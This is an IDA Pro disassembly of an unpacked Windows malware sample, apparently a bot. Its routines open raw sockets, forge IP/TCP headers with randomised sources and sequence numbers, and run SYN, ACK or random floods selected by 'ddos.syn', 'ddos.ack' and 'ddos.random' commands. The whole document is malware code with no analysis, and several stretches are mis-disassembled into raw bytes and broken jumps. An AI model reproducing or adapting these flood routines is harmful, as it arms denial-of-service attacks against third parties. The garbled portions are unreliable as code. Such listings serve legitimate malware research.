;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	1D04D6DC84E8567D1D9D991E78294986

; File Name   :	u:\work\1d04d6dc84e8567d1d9d991e78294986_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00020000 ( 131072.)
; Section size in file		: 00020000 ( 131072.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg000		segment	para public 'CODE' use32
		assume cs:seg000
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

		public start

start		proc near		; DATA XREF: seg000:00410733o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_4154E9
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412D4E
		add	esp, 14h


loc_401090:				; CODE XREF: start+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B16D
		push	[ebp+var_290]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		cld
		pop	edi
		pop	esi
start		endp ; sp-analysis failed



loc_4010B2:				; CODE XREF: sub_4013E9+40p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_43A300
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------


loc_4010F2:				; CODE XREF: seg000:004010E9j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A42C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_43A368
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_43A388
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_43A388
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_43A388
		mov	[ebp-12h], ax
		call	sub_415545
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43A388
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_43A384
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011C2:				; CODE XREF: seg000:004011B7j
		push	offset aDdos_ack ; "ddos.ack"
		push	dword ptr [ebp+10h]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------


loc_4011DE:				; CODE XREF: seg000:004011D3j
		push	offset aDdos_random ; "ddos.random"
		push	dword ptr [ebp+10h]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415545
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-0Ch], edx
		call	sub_415545
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-7], dl


loc_401216:				; CODE XREF: seg000:004011C0j
					; seg000:004011DCj ...
		push	4000h
		mov	byte ptr [ebp-8], 50h
		call	ds:dword_43A388
		mov	[ebp-6], ax
		lea	eax, [ebp-48h]
		push	eax
		mov	[ebp-2], bx
		mov	[ebp+10h], ebx
		call	near ptr 0A80000h
		xchg	eax, esi
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0A80000h
		pop	eax
		push	dword ptr [ebp-44h]
		mov	eax, [ebp+18h]
		cdq
		push	dword ptr [ebp-48h]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp-1Ch]
		push	14h
		pop	esi
		adc	edx, [ebp-18h]
		mov	[ebp-3Ch], eax
		mov	[ebp-38h], edx
		mov	[ebp-4], bx
		call	sub_415545
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43A388
		mov	[ebp-14h], ax
		call	sub_415545
		mov	edi, eax
		shl	edi, 10h
		call	sub_415545
		or	edi, eax
		push	edi
		call	ds:dword_43A388
		movzx	eax, ax
		mov	[ebp-10h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_43A384
		mov	[ebp-28h], eax
		mov	eax, [ebp-24h]
		push	esi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_43A388
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-28h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp-4], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-34h]
		push	esi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp-58h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-20h]
		call	ds:dword_43A3EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+10h], eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	near ptr 0A80000h
		cmp	cl, [ebx+453BE845h]
		enter	3C7Fh, 0Fh
		mov	edx, cs
; ---------------------------------------------------------------------------
		db 0FEh
		dd 458BFFFFh, 0C4453BE4h, 0BDE92E73h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4013A7:				; CODE XREF: seg000:0040137Dj
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset unk_42308C
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_4013D3:				; CODE XREF: seg000:0040112Aj
					; seg000:004013CEj
		push	dword ptr [ebp-20h]
		call	ds:dword_43A420
		pop	esi


loc_4013DD:				; CODE XREF: seg000:0040110Dj
		call	ds:dword_43A2E8
		mov	eax, ebx


loc_4013E5:				; CODE XREF: seg000:004010EDj
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: start+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415545
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax


loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp

; ---------------------------------------------------------------------------


loc_401447:				; DATA XREF: seg000:0041091Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1BCh]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_43A408
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_4014E1+1
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_42322C


loc_401495:				; DATA XREF: seg002:off_424D5Co
					; seg002:off_425D04o
		push	eax
		call	sub_4154E9
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D4E
		add	esp, 14h


loc_4014C5:				; CODE XREF: seg000:004014A3j
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-38h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A80000h


loc_4014E1:				; CODE XREF: seg000:00401481j
		lea	ecx, [di-0Ch]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp-0Ch], ebx
		call	ds:dword_43A368
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_401558+1
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-3BCh]
		push	offset unk_4231E0
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-24h], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp-3BCh]
		push	dword ptr [ebp-28h]
		push	eax
		lea	eax, [ebp-0B8h]
		push	eax
		push	dword ptr [ebp-1BCh]
		call	sub_412D4E
		add	esp, 14h


loc_40153C:				; CODE XREF: seg000:0040151Aj
		lea	eax, [ebp-3BCh]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-38h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 0A80000h


loc_401558:				; CODE XREF: seg000:004014FAj
		jmp	near ptr 0FE889AEAh
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	50h
		dd 0A3C815FFh, 0F8830043h, 8D5575FFh, 0FFFC4485h, 31AC68FFh
		dd 0E8500042h, 13F6Dh, 59DC7D39h, 57207559h, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 117AEh, 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00009Bh
		dd 0FAE8C875h, 5900013Ch, 41E85759h, 30067EAh, 458D106Ah
		dd 0E85057E4h, 13FA4h, 660CC483h, 2E445C7h, 15FF5700h
		dd 43A388h, 0E6458966h,	0FE48858Dh, 0FF50FFFFh,	43A3C815h
		dd 4C358B00h, 89004210h, 7D89E845h, 89D6FF08h, 0D6FFF845h
		dd 33F8452Bh, 3E8B9D2h,	0F1F70000h, 0FD0453Bh, 19487h
		dd 41C6800h, 5C60000h, 438B88h,	8815FF45h, 390043A3h, 0A366D47Dh
		dd 438B8Ah, 8C1D8966h, 6600438Bh, 8B8E3D89h, 5C60043h
		dd 438B90h, 911D8880h, 6600438Bh, 8B923D89h, 30740043h
		dd 13EECE8h, 0C1D88B00h, 0E2E808E3h, 300013Eh, 8E3C1D8h
		dd 13ED8E8h, 0C1D80300h, 0CEE808E3h, 300013Eh, 89016AD8h
		dd 438B941Dh, 18EB5B00h, 0FE44B5FFh, 0E2E8FFFFh, 5900008Ah
		dd 0C815FF50h, 0A30043A3h, 438B94h, 0A3E8458Bh,	438B98h
		dd 13E9CE8h, 0B99900h, 0F7000001h, 9C1588F9h, 0E800438Bh
		dd 13E89h, 100B999h, 0F9F70000h, 8B9D1588h, 76E80043h
		dd 9900013Eh, 0F0B9h, 4006800h,	0F9F70000h, 9E3D8966h
		dd 6600438Bh, 8BA21D89h, 66420043h, 8BA01589h, 4EE80043h
		dd 9900013Eh, 0FFB9h, 52F9F700h, 438BA468h, 3E66E800h
		dd 0C4830001h, 0E4458D0Ch, 5750106Ah, 41C68h, 8B886800h
		dd 75FF0043h, 0EC15FFFCh, 830043A3h, 874FFF8h, 0E90845FFh
		dd 0FFFFFECAh, 0FFFC75FFh, 43A42015h, 1C15FF00h, 500043A3h
		dd 0FE48858Dh, 75FFFFFFh, 48685008h, 8D004231h,	0FFFC4485h
		dd 20068FFh, 0E8500000h, 14306h, 3918C483h, 2075DC7Dh
		dd 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh
		dd 0FFFFFE44h, 115C5E8h, 14C48300h, 0FC44858Dh,	0E850FFFFh
		dd 99D5h, 0E8C875FFh, 13B11h, 0E8575959h, 67E858h, 0FC75FF1Bh
		dd 0A42015FFh, 458B0043h, 6BD23308h, 0C88B3CC0h, 0F70AE8C1h
		dd 0E9C1D075h, 8D505114h, 0FFFE4885h, 875FFFFh,	0C8858D50h
		dd 50FFFFFEh, 0FC44858Dh, 0E468FFFFh, 50004230h, 13D00E8h
		dd 1CC48300h, 75DC7D39h, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 1540E8FFh, 0C4830001h
		dd 44858D14h, 50FFFFFCh, 9950E8h, 0C875FF00h, 13A8CE8h
		dd 57595900h, 67E7D3E8h
		db 0, 9Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: seg000:00410624o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423274
		push	eax
		call	sub_4154E9
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412D4E
		add	esp, 14h


loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		jz	short near ptr loc_401925+3
		pop	esi
sub_40182E	endp ; sp-analysis failed



loc_4018CA:				; CODE XREF: sub_401B7C+3Cp
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_43A300
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------


loc_40190A:				; CODE XREF: seg000:00401901j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A42C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-0Ch], eax


loc_401925:				; CODE XREF: sub_40182E+99j
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp-38h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-38h], edi
		call	ds:dword_43A368
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp-50h]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-50h], 2
		push	dword ptr [ebp+10h]
		call	ds:dword_43A388
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-4Eh], ax
		mov	[ebp-4Ch], esi
		mov	byte ptr [ebp-20h], 45h
		call	ds:dword_43A388
		push	dword ptr [ebp+10h]
		mov	[ebp-1Eh], ax
		mov	[ebp-1Ch], di
		mov	[ebp-1Ah], bx
		mov	byte ptr [ebp-18h], 80h
		mov	byte ptr [ebp-17h], 6
		mov	[ebp-16h], bx
		mov	[ebp-10h], esi
		call	ds:dword_43A388
		push	4000h
		mov	[ebp-32h], ax
		mov	[ebp-2Ch], ebx
		mov	byte ptr [ebp-28h], 50h
		mov	byte ptr [ebp-27h], 2
		call	ds:dword_43A388
		mov	[ebp-26h], ax
		lea	eax, [ebp-40h]
		push	eax
		mov	[ebp-22h], bx
		mov	[ebp+10h], ebx
		call	near ptr 0A80000h
		xchg	eax, ebp
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 0A80000h
		push	dword ptr [di-3Ch]
		mov	eax, [ebp+14h]
		cdq
		push	dword ptr [ebp-40h]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp-8]
		mov	esi, edx
		adc	esi, [ebp-4]
		mov	[ebp-58h], eax


loc_4019F5:				; CODE XREF: seg000:00401B34j
		mov	[ebp-24h], bx
		call	sub_415545
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_43A388
		mov	[ebp-34h], ax
		call	sub_415545
		mov	edi, eax
		shl	edi, 10h
		call	sub_415545
		or	edi, eax
		push	edi
		call	ds:dword_43A388
		movzx	eax, ax
		mov	[ebp-30h], eax
		mov	eax, [ebp+0Ch]
		inc	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_43A384
		push	14h
		mov	[ebp-14h], eax
		mov	eax, [ebp-10h]
		pop	edi
		push	edi
		mov	[ebp-74h], eax
		mov	[ebp-70h], bl
		mov	byte ptr [ebp-6Fh], 6
		call	ds:dword_43A388
		mov	[ebp-6Eh], ax
		mov	eax, [ebp-14h]
		mov	[ebp-78h], eax
		lea	eax, [ebp-78h]
		push	20h
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-34h]
		push	edi
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-0B4h]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp-24h], ax
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-34h]
		push	edi
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp-8Ch]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp-16h], ax
		lea	eax, [ebp-20h]
		push	edi
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp-50h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0B4h]
		push	28h
		push	eax
		push	dword ptr [ebp-0Ch]
		call	ds:dword_43A3EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+10h], eax
		lea	eax, [ebp-8]
		push	eax
		call	near ptr 0A80000h
		test	eax, 3BFC458Bh
		mov	byte ptr [edi+3Ch], 0Fh
		mov	eax, cs
; ---------------------------------------------------------------------------
		dw 0FFFEh
; ---------------------------------------------------------------------------
		dec	dword ptr [ebx+453BF845h]
		test	al, 73h
		db	2Eh
		jmp	loc_4019F5
; ---------------------------------------------------------------------------


loc_401B3A:				; CODE XREF: seg000:00401B11j
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-0F4h]
		push	offset dword_4232B0
		push	eax
		call	sub_4154E9
		lea	eax, [ebp-0F4h]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+10h]


loc_401B66:				; CODE XREF: seg000:00401942j
					; seg000:00401B61j
		push	dword ptr [ebp-0Ch]
		call	ds:dword_43A420
		pop	esi


loc_401B70:				; CODE XREF: seg000:loc_401925j
		call	ds:dword_43A2E8
		mov	eax, ebx


loc_401B78:				; CODE XREF: seg000:00401905j
		pop	edi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415545
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	loc_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax


loc_401BC7:				; CODE XREF: sub_401B7C+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B7C	endp

; ---------------------------------------------------------------------------


loc_401BD6:				; DATA XREF: seg000:0040FA73o
		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-240h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-9Fh]
		push	0Eh
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-0A0h], bl
		rep stosd
		stosw
		stosb
		mov	edi, ds:dword_42104C
		call	edi ; dword_42104C
		push	eax
		call	sub_41553B
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43A408
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short near ptr loc_401C9E+1
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_423438
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401C7F
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D4E
		add	esp, 14h


loc_401C7F:				; CODE XREF: seg000:00401C5Aj
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-0BCh]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h


loc_401C9E:				; CODE XREF: seg000:00401C37j
		sub	ecx, [ebp+46ACC4Dh]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-34h], esi
		call	ds:dword_43A368
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D1D
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_4233EC
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_401CFD
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D4E
		add	esp, 14h


loc_401CFD:				; CODE XREF: seg000:00401CD8j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-0BCh]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		cmpsb


loc_401D1D:				; CODE XREF: seg000:00401CB5j
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_43A3C8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D8D
		lea	eax, [ebp-440h]
		push	offset dword_4233B8
		push	eax
		call	sub_4154E9
		cmp	[ebp-0A8h], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_401D6D
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D4E
		add	esp, 14h


loc_401D6D:				; CODE XREF: seg000:00401D48j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-0BCh]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------


loc_401D8D:				; CODE XREF: seg000:00401D2Dj
		push	10h
		lea	eax, [ebp-44h]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	ebx
		call	ds:dword_43A388
		mov	[ebp-42h], ax
		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_43A3C8
		mov	[ebp-40h], eax
		mov	[ebp+8], ebx
		call	edi ; dword_42104C
		mov	[ebp-30h], eax


loc_401DC5:				; CODE XREF: seg000:00402006j
		call	edi ; dword_42104C
		sub	eax, [ebp-30h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-0B4h]
		ja	near ptr loc_402088+1
		push	28h
		mov	byte ptr [ebp-2Ch], 45h
		call	ds:dword_43A388
		cmp	[ebp-0B0h], ebx
		mov	[ebp-2Ah], ax
		mov	[ebp-28h], si
		mov	[ebp-26h], bx
		mov	byte ptr [ebp-24h], 80h
		mov	byte ptr [ebp-23h], 6
		mov	[ebp-22h], bx
		jz	short loc_401E38
		call	sub_415545
		mov	esi, eax
		shl	esi, 8
		call	sub_415545
		add	esi, eax
		shl	esi, 8
		call	sub_415545
		add	esi, eax
		shl	esi, 8
		call	sub_415545
		add	esi, eax
		push	1
		mov	[ebp-20h], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: seg000:00401E09j
		push	dword ptr [ebp-240h]
		call	sub_40A171
		pop	ecx
		push	eax
		call	ds:dword_43A3C8
